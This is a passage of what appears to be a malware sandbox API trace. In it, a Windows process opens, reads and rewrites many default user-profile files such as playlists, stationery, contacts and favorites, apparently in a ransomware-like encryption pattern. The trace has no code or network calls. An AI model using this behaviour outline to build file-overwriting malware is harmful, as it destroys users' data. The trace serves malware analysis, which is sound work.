lpBuffer=0x27fd658, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0058.218] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x24588 [0058.218] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26ef078*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.218] CloseHandle (hObject=0x1a0) returned 1 [0058.218] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.218] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.218] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xbf3c0 [0058.218] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.218] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.218] ReleaseMutex (hMutex=0x128) returned 1 [0058.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VC_redist.x64.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0058.218] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VC_redist.x64.exe", cchWideChar=17, lpMultiByteStr=0x1e78b04, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VC_redist.x64.exe", lpUsedDefaultChar=0x0) returned 17 [0058.218] ReadFile (in: hFile=0x1a0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0058.219] ReadFile (in: hFile=0x1a0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.219] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xbe3c0 [0058.219] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26ef078*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.219] CloseHandle (hObject=0x1a0) returned 1 [0058.219] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.220] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.220] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7000 [0058.220] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.221] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.221] ReleaseMutex (hMutex=0x128) returned 1 [0058.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSNBC News~.feed-ms", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0058.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSNBC News~.feed-ms", cchWideChar=19, lpMultiByteStr=0x1e78b04, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSNBC News~.feed-ms", lpUsedDefaultChar=0x0) returned 19 [0058.221] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26ef078*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.223] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6000 [0058.223] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26ef078*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.223] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6000 [0058.223] WriteFile (in: hFile=0x1a0, lpBuffer=0x26f4108*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26f4108*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.224] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0058.224] WriteFile (in: hFile=0x1a0, lpBuffer=0x26f4108*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26f4108*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0058.224] CloseHandle (hObject=0x1a0) returned 1 [0058.224] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.224] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.224] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x414 [0058.225] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.225] ReleaseMutex (hMutex=0x128) returned 1 [0058.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="01_Music_auto_rated_at_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0058.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="01_Music_auto_rated_at_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb2084, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="01_Music_auto_rated_at_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0058.225] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef098, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26ef098*, lpNumberOfBytesRead=0x2a0f2bc*=0x414, lpOverlapped=0x0) returned 1 [0058.229] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.229] WriteFile (in: hFile=0x1a0, lpBuffer=0x27fd678*, nNumberOfBytesToWrite=0x99c, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27fd678*, lpNumberOfBytesWritten=0x2a0f2d0*=0x99c, lpOverlapped=0x0) returned 1 [0058.229] CloseHandle (hObject=0x1a0) returned 1 [0058.229] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.230] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.230] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x249 [0058.230] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.230] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.230] ReleaseMutex (hMutex=0x128) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11_All_Pictures.wpl", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0058.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11_All_Pictures.wpl", cchWideChar=19, lpMultiByteStr=0x1e78b04, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11_All_Pictures.wpl", lpUsedDefaultChar=0x0) returned 19 [0058.230] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x2a0f2bc*=0x249, lpOverlapped=0x0) returned 1 [0058.234] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.234] WriteFile (in: hFile=0x1a0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x7d1, lpOverlapped=0x0) returned 1 [0058.234] CloseHandle (hObject=0x1a0) returned 1 [0058.235] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.235] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.235] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xff [0058.235] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.235] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.235] ReleaseMutex (hMutex=0x128) returned 1 [0058.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bears.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0058.235] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bears.htm", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bears.htm", lpUsedDefaultChar=0x0) returned 9 [0058.235] ReadFile (in: hFile=0x1a0, lpBuffer=0x1ddfc68, nNumberOfBytesToRead=0xff, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddfc68*, lpNumberOfBytesRead=0x2a0f2bc*=0xff, lpOverlapped=0x0) returned 1 [0058.239] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.239] WriteFile (in: hFile=0x1a0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x687, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x687, lpOverlapped=0x0) returned 1 [0058.239] CloseHandle (hObject=0x1a0) returned 1 [0058.239] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.239] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.240] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xe6 [0058.240] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.240] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.240] ReleaseMutex (hMutex=0x128) returned 1 [0058.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stars.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0058.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stars.htm", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stars.htm", lpUsedDefaultChar=0x0) returned 9 [0058.240] ReadFile (in: hFile=0x1a0, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x2a0f2bc*=0xe6, lpOverlapped=0x0) returned 1 [0058.241] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.241] WriteFile (in: hFile=0x1a0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66e, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x66e, lpOverlapped=0x0) returned 1 [0058.241] CloseHandle (hObject=0x1a0) returned 1 [0058.241] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.242] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.242] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x10b1e [0058.242] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.242] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.242] ReleaseMutex (hMutex=0x128) returned 1 [0058.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Administrator.contact", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0058.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Administrator.contact", cchWideChar=21, lpMultiByteStr=0x1e78c44, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Administrator.contact", lpUsedDefaultChar=0x0) returned 21 [0058.242] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef078, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26ef078*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0058.244] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xfb1e [0058.244] ReadFile (in: hFile=0x1a0, lpBuffer=0x26ef078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x26ef078*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0058.245] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xfb1e [0058.245] WriteFile (in: hFile=0x1a0, lpBuffer=0x26f30a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26f30a8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0058.246] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0058.246] WriteFile (in: hFile=0x1a0, lpBuffer=0x27fd658*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27fd658*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0058.246] CloseHandle (hObject=0x1a0) returned 1 [0058.246] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.246] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.246] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x85 [0058.246] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.247] ReleaseMutex (hMutex=0x128) returned 1 [0058.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft At Home.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0058.247] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft At Home.url", cchWideChar=21, lpMultiByteStr=0x1e78c44, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft At Home.url", lpUsedDefaultChar=0x0) returned 21 [0058.247] ReadFile (in: hFile=0x1a0, lpBuffer=0x257e150, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e150*, lpNumberOfBytesRead=0x2a0f2bc*=0x85, lpOverlapped=0x0) returned 1 [0058.247] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.248] WriteFile (in: hFile=0x1a0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0058.248] CloseHandle (hObject=0x1a0) returned 1 [0058.248] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.248] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.248] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x85 [0058.248] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.248] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0058.248] ReleaseMutex (hMutex=0x128) returned 1 [0058.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Gallery.url", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Windows Live Gallery.url", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows Live Gallery.url", lpUsedDefaultChar=0x0) returned 24 [0058.249] ReadFile (in: hFile=0x1a0, lpBuffer=0x257e150, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e150*, lpNumberOfBytesRead=0x2a0f2bc*=0x85, lpOverlapped=0x0) returned 1 [0058.249] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0058.250] WriteFile (in: hFile=0x1a0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0058.250] CloseHandle (hObject=0x1a0) returned 1 [0058.250] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0058.250] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.250] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x11a [0058.250] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0058.250] WaitForSingleObject (hHandle=0x128, 